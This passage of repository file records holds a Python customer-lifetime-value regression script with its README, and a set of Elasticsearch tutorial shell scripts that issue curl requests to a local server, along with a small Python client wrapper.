"alphanum_fraction": 0.6349693536758423,
"avg_line_length": 35.33333206176758,
"blob_id": "68be16a3b3cc535d71947e44016f9ad91346b95d",
"content_id": "928f1ede8999a9bb974abf77ff9eef28634bb636",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 326,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 9,
"path": "/kalail/blog/urls.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from django.conf.urls.defaults import patterns, url\nfrom blog.feeds import LatestPostsFeed\n\nurlpatterns = patterns('blog.views',\n\turl(r'^$', 'index'),\n\turl(r'^(?P<post_id>\\d+)/$', 'redirect_to_slug_post'),\n\turl(r'^(?P<post_id>\\d+)/(?P<post_slug>[-\\w]+)/$', 'show_post'),\n\turl(r'^rss/$', LatestPostsFeed(), name='rss_feed'),\n\t)"
},
{
"alpha_fraction": 0.768486499786377,
"alphanum_fraction": 0.7747063040733337,
"avg_line_length": 34.29268264770508,
"blob_id": "33b461ca2deb7167c3cba12664b5d8620d12731a",
"content_id": "eb21694def613ae33abf1080ec3690c2884950dd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1447,
"license_type": "no_license",
"max_line_length": 118,
"num_lines": 41,
"path": "/kalail/keepalive/views.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "# Create your views here.\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.http import HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.template import RequestContext\nfrom django.contrib.auth import logout\nfrom django.contrib.auth.decorators import login_required\nfrom keepalive.models import KeepAliveWebsite\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.validators import URLValidator\nfrom django.core.exceptions import ValidationError\n\n\n@login_required\ndef index(request):\n\tif request.method == 'POST':\n\t\twebsite_urls = []\n\t\twebsite_urls.append(request.POST['website_1'])\n\t\twebsite_urls.append(request.POST['website_2'])\n\t\twebsite_urls.append(request.POST['website_3'])\n\n\t\tvalidate_url = URLValidator()\n\t\tvalid_websites = []\n\t\tfor website_url in website_urls:\n\t\t\ttry:\n\t\t\t\tvalidate_url(website_url)\n\t\t\texcept ValidationError:\n\t\t\t\tcontinue\n\t\t\tvalid_websites.append(KeepAliveWebsite.objects.get_or_create(url = website_url)[0])\n\n\t\trequest.user.keepalivewebsite_set = valid_websites\n\n\twebsites_query = request.user.keepalivewebsite_set.all()[:3]\n\tfill_in = 3 - websites_query.count()\n\twebsites = []\n\tfor website in websites_query:\n\t\twebsites.append(website.url)\n\twebsites = websites + [\"\"] * fill_in\n\n\treturn render_to_response('keepalive/index.html', {\"websites\" : websites }, context_instance=RequestContext(request))\n"
},
{
"alpha_fraction": 0.7592592835426331,
"alphanum_fraction": 0.7592592835426331,
"avg_line_length": 28.545454025268555,
"blob_id": "a22be722a9ec5532b3c0a542b1e11153e3ad89be",
"content_id": "ed362a6cf7a99a6f4a47634687f097aa75b93de5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 324,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 11,
"path": "/kalail/notes/models.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from django.db import models\nfrom django.contrib.auth.models import User\n\n# Create your models here.\nclass Notepad(models.Model):\n\tbody = models.TextField(blank=True)\n\tuser = models.OneToOneField(User)\n\tcreated_on = models.DateTimeField(auto_now_add=True)\n\n\tdef __unicode__(self):\n\t\treturn \"Notepad of \" + self.user.username"
},
{
"alpha_fraction": 0.518796980381012,
"alphanum_fraction": 0.6992481350898743,
"avg_line_length": 16.733333587646484,
"blob_id": "180c1fe96e23abbc5f0b7302948595b20fbea5aa",
"content_id": "dae9b1da1bd8ce600e816ac9362eeaed2e562b34",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 798,
"license_type": "no_license",
"max_line_length": 27,
"num_lines": 45,
"path": "/requirements.txt",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "Django==1.5\nFabric==1.6.0\nSouth==0.7.6\nUnipath==0.2.1\nWerkzeug==0.8.3\namqp==1.0.10\namqplib==1.0.2\nanyjson==0.3.3\nargparse==1.2.1\nasync==0.6.1\nbilliard==2.7.3.23\nboto==2.8.0\ncelery==3.0.17\ndj-database-url==0.2.1\ndjango-cache-panel==0.1\ndjango-celery==3.0.11\ndjango-debug-toolbar==0.9.4\ndjango-extensions==1.1.1\ndjango-picklefield==0.2.1\ndjango-pylibmc-sasl==0.2.4\ndjango-registration==0.8\ndjango-social-auth==0.7.22\ndjango-storages==1.1.6\ndjango-suit==0.1.9\ndjango-suit-redactor==0.0.2\nfancy-tag==0.2.0\ngunicorn==0.17.2\nhttplib2==0.8\nkombu==2.5.8\nmock==1.0.1\noauth2==1.5.211\nparamiko==1.10.0\npsycopg2==2.4.6\npycrypto==2.6\npylibmc==1.2.3\npython-dateutil==2.1\npython-openid==2.2.5\npython-twitter==0.8.2\npytz==2013b\nredis==2.4.13\nrequests==1.1.0\nrope==0.9.3\nsimplejson==3.1.2\nsix==1.3.0\nwsgiref==0.1.2\n"
},
{
"alpha_fraction": 0.7628865838050842,
"alphanum_fraction": 0.7628865838050842,
"avg_line_length": 38,
"blob_id": "87507d85bbdcc87501f33915d5c915c9992cb3e9",
"content_id": "f522a2e11f364240e6df9bfcb54fe6b6a6acc395",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 194,
"license_type": "no_license",
"max_line_length": 123,
"num_lines": 5,
"path": "/README.txt",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "Kalail\n\nThis is the source code for my personal website 'kalail.com'.\n\nFeel free to use any code that you may find here and give any feedback you may have; I try to make it as readable as I can."
},
{
"alpha_fraction": 0.7152831554412842,
"alphanum_fraction": 0.7230411171913147,
"avg_line_length": 24.799999237060547,
"blob_id": "dee8ecf97be4eb16193c59bc410ad5951bcf936c",
"content_id": "5447e6b1d5c92a8d76d08aabc346b1d7b63d606e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1289,
"license_type": "no_license",
"max_line_length": 89,
"num_lines": 50,
"path": "/kalail/blog/scripts/update_comment_users.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from blog.models import Comment\nfrom django.contrib.auth.models import User\nimport pickle\nimport sys\nimport kalail.settings as settings\nfrom boto.s3.connection import S3Connection\nfrom boto.s3.key import Key\n\ndef run():\n\tprint 'STARTING SCRIPT \"update_comment_users.py\"'\n\n\tall_comments = Comment.objects.all().order_by('created_on')\n\tnumber_of_comments = all_comments.count()\n\n\tprint str(number_of_comments) + \" COMMENTS DETECTED\"\n\n\tprint \"DOWNLOADING USER IDS\"\n\ts3_connection = S3Connection(settings.AWS_ACCESS_KEY_ID, settings.AWS_SECRET_ACCESS_KEY)\n\ts3_bucket = s3_connection.create_bucket(settings.AWS_TEMP_STORAGE_BUCKET_NAME)\n\tusers_file = Key(s3_bucket)\n\tusers_file.key = \"user_ids.pickle\"\n\tuser_ids_string = users_file.get_contents_as_string()\n\tuser_ids = pickle.loads(user_ids_string)\n\n\tprint \"DONE\"\n\n\tnumber_of_user_ids = len(user_ids)\n\n\tprint \"COMPARING OBJECT LENGTH\"\n\n\tif number_of_comments == number_of_user_ids:\n\t\tprint \"DONE\"\n\t\tprint \"UPDATING COMMENT RECORDS\"\n\t\tindex = 0\n\t\tfor comment in all_comments:\n\t\t\tuser_id = user_ids[index]\n\t\t\tif user_id == None:\n\t\t\t\tuser = None\n\t\t\telse:\n\t\t\t\tuser = User.objects.get(id=user_id)\n\t\t\tcomment.user = user\n\t\t\tcomment.save()\n\t\t\tindex += 1\n\t\t\tsys.stdout.write(\".\")\n\n\t\tprint \"DONE\"\n\telse:\n\t\tprint \"OBJECT MISMATCH. ABORTING\"\n\n\tprint \"FIN\""
}
] | 30 |
satishrath185/Customer_Lifetime_Value | https://github.com/satishrath185/Customer_Lifetime_Value | 01d3347036399b08baec02b0ff796694a1f38ebd | e6f6d0e53589d04e24b24816d96116235330cf21 | 01a271f29664a2174ddf2228f0bfc02e85d136f1 | refs/heads/master | 2022-12-25T06:24:08.998589 | 2020-09-27T11:38:00 | 2020-09-27T11:38:00 | 294,213,911 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6567027568817139,
"alphanum_fraction": 0.6677058339118958,
"avg_line_length": 25.953845977783203,
"blob_id": "5de562a8cbdae7bf745776dd9d095bdc8ed8292a",
"content_id": "7be6265326d9d6cb3e2bb19cf6aa530f1e009e56",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5453,
"license_type": "no_license",
"max_line_length": 91,
"num_lines": 195,
"path": "/Customer_Lifetime_Value.py",
"repo_name": "satishrath185/Customer_Lifetime_Value",
"src_encoding": "UTF-8",
"text": "#Importing Necessary Dependencies\r\n\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n#Loading Dataset\r\ndata=pd.read_excel(\"Online Retail.xlsx\")\r\nprint(data.head())\r\nprint(\"Shape of Data:\",data.shape)\r\n\r\n#Data Clean Up\r\n#Negative Quantity\r\ndata=data[data['Quantity']>0]\r\n\r\n#Cleaning Missing CustomerID\r\nprint(\"Number Null CustmerID:\",pd.isnull(data[\"CustomerID\"]).sum())\r\ndata=data[pd.notnull(data['CustomerID'])]\r\n\r\nprint(\"Shape:\",data.shape)\r\n\r\n#Number of Months of data\r\nprint(\"Date Range:\",data[\"InvoiceDate\"].min(),\"-\",data[\"InvoiceDate\"].max())\r\n\r\n#Last month of Data is incomplete, so better to remove it\r\ndata[data[\"InvoiceDate\"]>\"2011-12-01\"].shape\r\n\r\ndata=data[data[\"InvoiceDate\"]<\"2011-12-01\"]\r\nprint(\"Shape:\",data.shape)\r\n\r\n#Total Sales\r\ndata[\"Sales\"]= data['Quantity'] * data['UnitPrice']\r\nprint(data.head())\r\n\r\n#Orders Data\r\norders = data.groupby([\"CustomerID\",\"InvoiceNo\"]).agg({'Sales': sum,'InvoiceDate': max})\r\nprint(\"Orders Shape:\",orders.shape)\r\nprint(orders.head())\r\n\r\n#Exploratory Data Analysis\r\ndef groupby_mean(x):\r\n return x.mean()\r\n\r\ndef groupby_count(x):\r\n return x.count()\r\n\r\ndef purchase_duration(x):\r\n return (x.max() - x.min()).days\r\n\r\ndef avg_frequency(x):\r\n return (x.max() - x.min()).days/x.count()\r\n\r\ngroupby_mean.__name__ = 'avg'\r\ngroupby_count.__name__ = 'count'\r\npurchase_duration.__name__ = 'purchase_duration'\r\navg_frequency.__name__ = 'purchase_frequency'\r\n\r\nprocessed_data = orders.reset_index().groupby('CustomerID').agg({\r\n 'Sales': [min, max, sum, groupby_mean, groupby_count],\r\n 'InvoiceDate': [min, max, purchase_duration, avg_frequency]\r\n})\r\nprocessed_data.columns = ['_'.join(col).lower() for col in processed_data.columns]\r\n\r\nprint(processed_data.shape)\r\n\r\n#Taking into Account only repeat customers\r\nprocessed_data = processed_data.loc[processed_data['invoicedate_purchase_duration'] > 0]\r\nprint(processed_data.shape)\r\n\r\n#Visualizing How many customers belong to each category\r\nax = processed_data.groupby('sales_count').count()['sales_avg'][:20].plot(\r\n kind='bar',\r\n color='skyblue',\r\n figsize=(12,7),\r\n grid=True\r\n)\r\nax.set_xlabel('Sales Count')\r\nax.set_ylabel('Count')\r\nplt.show()\r\n\r\nax = processed_data['invoicedate_purchase_frequency'].hist(\r\n bins=20,\r\n color='skyblue',\r\n rwidth=0.7,\r\n figsize=(12,7)\r\n)\r\n\r\nax.set_xlabel('avg. number of days between purchases')\r\nax.set_ylabel('count')\r\nplt.show()\r\n\r\n#Predicting 3 Month CLV\r\n#Data Preparation\r\nclv_freq = '3M'\r\n\r\nclean_data = orders.reset_index().groupby([\r\n 'CustomerID',\r\n pd.Grouper(key='InvoiceDate', freq=clv_freq)\r\n]).agg({\r\n 'Sales': [sum, groupby_mean, groupby_count],\r\n})\r\nclean_data.columns = ['_'.join(col).lower() for col in clean_data.columns]\r\nclean_data = clean_data.reset_index()\r\n\r\ndate_month_map = {\r\n str(x)[:10]: 'M_%s' % (i+1) for i, x in enumerate(\r\n sorted(clean_data.reset_index()['InvoiceDate'].unique(), reverse=False)\r\n )\r\n}\r\n\r\nprint(date_month_map)\r\nclean_data['M'] = clean_data['InvoiceDate'].apply(lambda x: date_month_map[str(x)[:10]])\r\n\r\n#Final Processed Dataset for Modelling\r\n#Features Set\r\nfeatures_df = pd.pivot_table(\r\n clean_data.loc[clean_data['M'] != 'M_5'],\r\n values=['sales_sum', 'sales_avg', 'sales_count'],\r\n columns='M',\r\n index='CustomerID'\r\n)\r\nfeatures_df = features_df.fillna(0)\r\nprint(features_df.head())\r\n\r\nresponse_df = clean_data.loc[\r\n clean_data['M'] == 'M_5',\r\n ['CustomerID', 'sales_sum']\r\n]\r\n\r\nresponse_df.columns = ['CustomerID', 'CLV_'+clv_freq]\r\n\r\nsample_set_df = features_df.merge(\r\n response_df,\r\n left_index=True,\r\n right_on='CustomerID',\r\n how='left'\r\n)\r\n\r\nsample_set_df = sample_set_df.fillna(0)\r\n\r\nsample_set_df['CLV_'+clv_freq].describe()\r\n\r\n#Model Building and Training\r\nfrom sklearn.model_selection import train_test_split\r\n\r\ntarget_var = 'CLV_'+clv_freq\r\nall_features = [x for x in sample_set_df.columns if x not in ['CustomerID', target_var]]\r\n\r\nx_train, x_test, y_train, y_test = train_test_split(\r\n sample_set_df[all_features],\r\n sample_set_df[target_var],\r\n test_size=0.3\r\n)\r\n\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.svm import SVR\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nreg_fit = LinearRegression()\r\nreg_fit.fit(x_train, y_train)\r\ncoef = pd.DataFrame(list(zip(all_features, reg_fit.coef_)))\r\ncoef.columns = ['feature', 'coef']\r\nprint(coef)\r\n\r\n#Model Evaluation\r\nfrom sklearn.metrics import r2_score, median_absolute_error\r\ntrain_preds = reg_fit.predict(x_train)\r\ntest_preds = reg_fit.predict(x_test)\r\n\r\n#R Squared\r\nprint('In-Sample R-Squared: %0.4f' % r2_score(y_true=y_train, y_pred=train_preds))\r\nprint('Out-of-Sample R-Squared: %0.4f' % r2_score(y_true=y_test, y_pred=test_preds))\r\n\r\n#Mean Absolute Error\r\nprint('In-Sample MSE: %0.4f' % median_absolute_error(y_true=y_train, y_pred=train_preds))\r\nprint('Out-of-Sample MSE: %0.4f' % median_absolute_error(y_true=y_test, y_pred=test_preds))\r\n\r\n#Scatter Plot\r\nplt.scatter(y_train, train_preds)\r\nplt.plot([0, max(y_train)], [0, max(train_preds)], color='gray', lw=1, linestyle='--')\r\n\r\nplt.xlabel('actual')\r\nplt.ylabel('predicted')\r\nplt.title('In-Sample Actual vs. Predicted')\r\nplt.grid()\r\n\r\nplt.show()\r\nplt.scatter(y_test, test_preds)\r\nplt.plot([0, max(y_test)], [0, max(test_preds)], color='gray', lw=1, linestyle='--')\r\n\r\nplt.xlabel('actual')\r\nplt.ylabel('predicted')\r\nplt.title('Out-of-Sample Actual vs. Predicted')\r\nplt.grid()\r\n\r\nplt.show()\r\n\r\n"
},
{
"alpha_fraction": 0.7536988854408264,
"alphanum_fraction": 0.7696547508239746,
"avg_line_length": 31.828571319580078,
"blob_id": "dd7f75ecd54ef0a2fd68fb10e9091f304cdb3d25",
"content_id": "8fbf6d7cf368e89eba293fa24a111a24f9cea54b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 3451,
"license_type": "no_license",
"max_line_length": 476,
"num_lines": 105,
"path": "/README.md",
"repo_name": "satishrath185/Customer_Lifetime_Value",
"src_encoding": "UTF-8",
"text": "# Customer_Lifetime_Value\n\n## Business Value\nCLV is one of the Key metrics to track and monitor. CLV measures the customers’ total worth to the business over the course of their lifetime relationship with the company. This metric is important to keep track of acquiring new customers. It is generally more expensive to acquire new customers than to keep existing ones, so knowing the lifetime value and costs associated with acquiring new customers is essential in order to build marketing strategies with a positive ROI.\n__Calculations__\nWe calculate customer’s average purchase amount, purchase frequency to determine their average value per month. If we have before hand knowledge of a average customer lifespan we can use this determine the Customer Lifetime Value. \nBut here since we do not have the customer lifespan so we resort to predict the CLV over a 3 month, 6 month, 12 month or 24 month as per the Business requirement. Here we will focussing on 3 month estimation. We will be using Regression Model to arrive at a customer Lifetime Value.\n## Problem Statement\nTo predict Customer Value over a 3 month period based on historical data.\n\n## Data\n\n![](Images/Data%20Sample.PNG)\n\nEach row of data represents a transaction and each column contains a transaction's attributes.\n\n__InvoiceNo__ : A unique identifier for the invoice. An invoice number shared across\nrows means that those transactions were performed in a single invoice (multiple\npurchases). \n\n__StockCode__ : Identifier for items contained in an invoice.\n\n__Description__ : Textual description of each of the stock item.\n\n__Quantity__ : The quantity of the item purchased.\n\n__InvoiceDate__ : Date of purchase.\n\n__UnitPrice__ : Value of each item.\n\n__CustomerID__ : Identifier for customer making the purchase.\n\n__Country__ : Country of customer.\n\n## Approach\n\n+ Loading Dependencies\n\n+ Loading Data\n\n+ Data Exploration\n\n+ Data Processing and Exploration\n\n+ Building Recency and Frequency Feature\n \n+ Training Model\n\nIn order to measure the performance of the model, Mean Squared Error and R-square for the model is used.\n\n## Data Exploration and Visualization\n\n\n__Ordered Data__\n\n![](Images/Ordered%20Data.PNG)\n\n__Number of Purchases by Customers__\n\n![](Images/Sales%20Count.png)\n\n__Days Between Purchases__\n\n![](Images/Days%20between%20Purchases.png)\n\n__Final Processed Data__\n\n![](Images/Processed%20Data.PNG)\n\n__Sample CLV__\n\n![](Images/Sample%20CLV.PNG)\n\n## Model Building and Training\n\n1. ### __Linear Regression__\n\n__Coefficient Output__\n\n![](Images/Coefficient%20Output.PNG)\n\n__Training Data__\n\nCross validation\n__R-squared__:: 0.727\n\n__MSE__ :: 174.024\n\nRegression Model Plot\n\n![](Images/Regression%20Model%20Train.png)\n\n__Testing Model__\n\n__R-squared__ ::0.6739\n\n__MSE__: 198.896\n\nRegression Model Plot\n\n![](Images/Regression%20Model%20Test.PNG)\n\n## __Conclusion__\nFrom the Coefficeient output we can see the features that have negative correlation with the target (CLV value) and features that have positive correlation. We can experiment further with more algorithms to have even a better R-square and lower MSE.\nUsing the customer value prediction output we can custom tailor our marketing strategies in different ways as we know the expected revenue from individual customers for the next 3 months. This can help create marketing campaigns with higher ROI as those high value customers predicted by this model are likely to bring in more revenue than others.\n"
}
] | 2 |
enixdark/Simple_Elastic_Search | https://github.com/enixdark/Simple_Elastic_Search | a483a09fde87b785871a3f1720eaa4aaef8dcc7b | 737f66348588d1d35fc8db871513d055ec0d92fb | 36d557519393fa5d911d0cb9eb99cb89c59aef1d | refs/heads/master | 2016-09-05T19:22:37.623961 | 2016-02-28T13:13:55 | 2016-02-28T13:13:55 | 33,454,801 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.4732142984867096,
"alphanum_fraction": 0.5133928656578064,
"avg_line_length": 39.727272033691406,
"blob_id": "962d523d04ba2ba2d9eba251a13f54ee17248abc",
"content_id": "3adbb34e7e711744fe52db2471ee27597c446370",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 448,
"license_type": "no_license",
"max_line_length": 97,
"num_lines": 11,
"path": "/DefGuide/Chapter_3/bulk.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "\nPORT=9200\n\ncurl -XPOST http://localhost:${PORT}/_bulk/?pretty -d '\n{ \"delete\": { \"_index\": \"vietname\", \"_type\": \"peoples\", \"_id\": \"123\" }}\n{ \"create\": { \"_index\": \"vietname\", \"_type\": \"peoples\", \"_id\": \"123\" }}\n{ \"name\": \"Gamer\",\"age\":9999 }\n{ \"index\": { \"_index\": \"vietname\", \"_type\": \"peoples\" }}\n{ \"name\": \"Blog\" }\n{ \"update\": { \"_index\": \"vietname\", \"_type\": \"peoples\", \"_id\": \"123\", \"_retry_on_conflict\" : 3} }\n{ \"doc\" : {\"name\" : \"Blog\"} }\n'"
},
{
"alpha_fraction": 0.6371814012527466,
"alphanum_fraction": 0.643178403377533,
"avg_line_length": 23.703702926635742,
"blob_id": "eb995e57df78458a36f2a3ebd57393d5a213c9f8",
"content_id": "0633b42945bf77cb113c0a5012a772130658f9f3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 667,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 27,
"path": "/Py/es.py",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "from elasticsearch import Elasticsearch\nfrom config import index_setting, doc_mapping\n\n\n\n\nclass ES(object):\n\tclass __impl:\n\t\tdef __init__(self,host,port):\n\t\t\tself.es = Elasticsearch(\"%s:%d\"%(host,port))\n\t\tdef getES(self):\n\t\t\treturn self.es\n\t__instance = None\n\t__host = \"localhost\"\n\t__port = 9200\n\tdef __init__(self, host = __host, port = __port):\n\t\tif ES.__instance is None:\n\t\t\tES.__host = host\n\t\t\tES.__port = port\n\t\t\tES.__instance = ES.__impl(host,port)\n\t\tself.__dict__['_Singleton__instance'] = ES.__instance\n\n\tdef __getattr__(self, attr):\n\t\treturn getattr(self.__instance, attr)\n\n\tdef __setattr__(self, attr, value):\n\t\treturn setattr(self.__instance, attr, value)\n"
},
{
"alpha_fraction": 0.7192513346672058,
"alphanum_fraction": 0.7326202988624573,
"avg_line_length": 22.375,
"blob_id": "6abefe868c01104e63afc1f7618ea2893fda13f1",
"content_id": "d6f61e0adff0020396ed745002ae5d32072dd89d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 374,
"license_type": "no_license",
"max_line_length": 63,
"num_lines": 16,
"path": "/DefGuide/Chapter_2/update_replicaSet.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\nPORT=9200\n\necho \"visible replicas information\"\ncurl -XGET http://localhost:${PORT}/vietname/_settings/?pretty \n\necho\n\necho \"update inc or desc replicas\"\ncurl -XPUT http://localhost:${PORT}/vietname/_settings -d '{\n\t\"number_of_replicas\" : 2\n}'\n\necho \necho \"visible replicas information after update\"\ncurl -XGET http://localhost:${PORT}/vietname/_settings/?pretty "
},
{
"alpha_fraction": 0.5698113441467285,
"alphanum_fraction": 0.5962263941764832,
"avg_line_length": 25.5,
"blob_id": "b0ea51352926f6ceb27267e4d72666777e5f8829",
"content_id": "1547402b49bdd3830aba421c6c16f2ceb1151c61",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 265,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 10,
"path": "/DefGuide/Chapter_3/delete.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\nID=111\n\necho \"==========delete document==========\"\ncurl -XDELETE http://localhost:${PORT}/vietname/peoples/${ID}\necho \necho \"==========get people data by id = ${ID}==========\"\ncurl -XGET http://localhost:${PORT}/vietname/peoples/${ID}?pretty\n"
},
{
"alpha_fraction": 0.5114942789077759,
"alphanum_fraction": 0.5160919427871704,
"avg_line_length": 19.255813598632812,
"blob_id": "3f404c862ca7d42516039a0e2e9c764ade077b66",
"content_id": "76323117bee2b8a062046ba9a29deabe91ed4c3a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 870,
"license_type": "no_license",
"max_line_length": 101,
"num_lines": 43,
"path": "/DefGuide/Chapter_10/custom_analyzer.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\n\necho \"setup filter for indices\"\n# curl -XPUT http://localhost:${PORT}/my_index?pretty -d '{\n# \t\"settings\":{\n# \t\t\"analysis\":{\n# \t\t\t\"char_filter\":{\n# \t\t\t\t\"&_to_and\":{\n# \t\t\t\t\t\"type\":\"mapping\",\n# \t\t\t\t\t\"mappings\":[\"&=> and \"]\n# \t\t\t\t}\n# \t\t\t},\n# \t\t\t\"filter\":{\n# \t\t\t\t\"my_stopwords\":{\n# \t\t\t\t\t\"type\":\"stop\",\n# \t\t\t\t\t\"stopwords\":[\"the\",\"a\"]\n# \t\t\t\t}\n# \t\t\t},\n# \t\t\t\"analyer\":{\n# \t\t\t\t\"my_analyzer\":{\n# \t\t\t\t\t\"type\":\"custom\",\n# \t\t\t\t\t\"char_filter\":[\"html_strip\",\"&_to_and\"],\n# \t\t\t\t\t\"tokenizer\":\"standard\",\n# \t\t\t\t\t\"filter\":[\"lowercase\",\"my_stopwords\"]\n# \t\t\t\t}\n# \t\t\t}\n# \t\t}\n# \t}\n# }'\n\ncurl -XPUT http://localhost:$PORT/my_index/_mapping/my_type -d '{\n\t\"properties\":{\n\t\t\"title\":{\n\t\t\t\"type\":\"string\",\n\t\t\t\"analyzer\":\"my_analyzer\"\n\t\t}\n\t}\n}'\n\nechp \"search with analyzer\"\ncurl -XGET http://localhost:${PORT}/my_index/_analyze?analyzer=my_analyzer -d 'The quick & brown fox'"
},
{
"alpha_fraction": 0.688524603843689,
"alphanum_fraction": 0.7377049326896667,
"avg_line_length": 29.5,
"blob_id": "d366cd097945ea74842d9586ff841f025e56dc6b",
"content_id": "de9cdbcdfac20f4a56a383ae490e7fba73bf4e44",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 122,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 4,
"path": "/DefGuide/Chapter_9/routeing.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\nPORT=9200\necho \"get infomation use routing\"\ncurl -XGET http://localhost:${PORT}/_search?routing=user_1,user_2\n"
},
{
"alpha_fraction": 0.7104413509368896,
"alphanum_fraction": 0.7502691149711609,
"avg_line_length": 43.28571319580078,
"blob_id": "cccf713632b162ec17d3e4746c8585912aacdff9",
"content_id": "eba457d278828d0dddb6ffdd5d516b684a37173a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 929,
"license_type": "no_license",
"max_line_length": 127,
"num_lines": 21,
"path": "/DefGuide/Chapter_5/searchLite.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nPORT=9200\necho \"seach all tweet have elasticsearch string\"\ncurl -XGET http://localhost:${PORT}/_all/tweet/_search?q=tweet:elasticsearch\n\necho \"seach all tweet have elasticsearch string and name have john string\"\ncurl -XGET http://localhost:${PORT}/_all/tweet/_search?q=tweet:elasticsearch+name:john\n\necho \"seach all tweet have elasticsearch string and name have john string with encode\"\ncurl -XGET http://localhost:${PORT}/_all/tweet/_search?q=t%2Bweet%3Belasticsearch%2Bname%3Bjohn\n\necho \"seach all user name by Mary\"\ncurl -XGET http://localhost:${PORT}/_search?q=Mary\n\necho \"complicated query\"\n\necho \"search user whose name start by mary,john and date greater than 2014-9-10\"\n\n# curl -XGET http://localhost:${PORT}/_all/tweet/_search?q=+name:(mary john)+date:>2014-09-10+(aggregations geo)\ncurl -XGET http://localhost:${PORT}/_all/tweet/_search?q=?q=%2Bname%3A(mary+john)+%2Bdate%3A%3E2014-09-10+%2B(aggregations+geo)"
},
{
"alpha_fraction": 0.598901093006134,
"alphanum_fraction": 0.6483516693115234,
"avg_line_length": 24.571428298950195,
"blob_id": "38f5e4be27b7108b96aa10a225ce2b11f0ef75a1",
"content_id": "b50203d6360fbf5b67af6500d77807430f5a7dc8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 182,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 7,
"path": "/DefGuide/Chapter_9/scroll_scan.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\nPORT=9200\necho \"use scan for search\"\ncurl -XGET http://localhost:${PORT}/old_index/_search?search_type=scan&scroll=1m -d '{\n\t\"query\":{\"match_all\":{}},\n\t\"size\":1000\n}'\n\n\n\n"
},
{
"alpha_fraction": 0.6010362505912781,
"alphanum_fraction": 0.621761679649353,
"avg_line_length": 16.636363983154297,
"blob_id": "ae4d0819164ff090c5c3232c95d5304d970877ef",
"content_id": "4d81d7d6966a32eb63f59b0b7931b7abfd96c6d5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 193,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 11,
"path": "/DefGuide/Chapter_7/validate_query.sh",
"repo_name": "enixdark/Simple_Elastic_Search",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\nPORT=9200\n\necho \"simple validate query\"\ncurl -XGET http://localhost:${PORT}/gb/tweet/_validate/query/?explain -d '{\n\"query\": {\n\t\t\"tweet\" : {\n\t\t\t\"match\" : \"really powerful\"\n\t\t}\n\t}\n}'"
},
{
"alpha_fraction": 0.6401383876800537,
"alphanum_fraction": 0.6574394702911377,
"avg_line_length": 15.941176414489746,
"blob_id": "51700d72c834d1981bd6fd28d00e48043fbfe4ec",
"content_id": "14880aaf47347c31032801d209b878e4e62dd50f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 289,
"license_type": "no_license",
"max_line_length": 62,
"num_lines": 17,
"path": "/Py/simpleDSL.py",
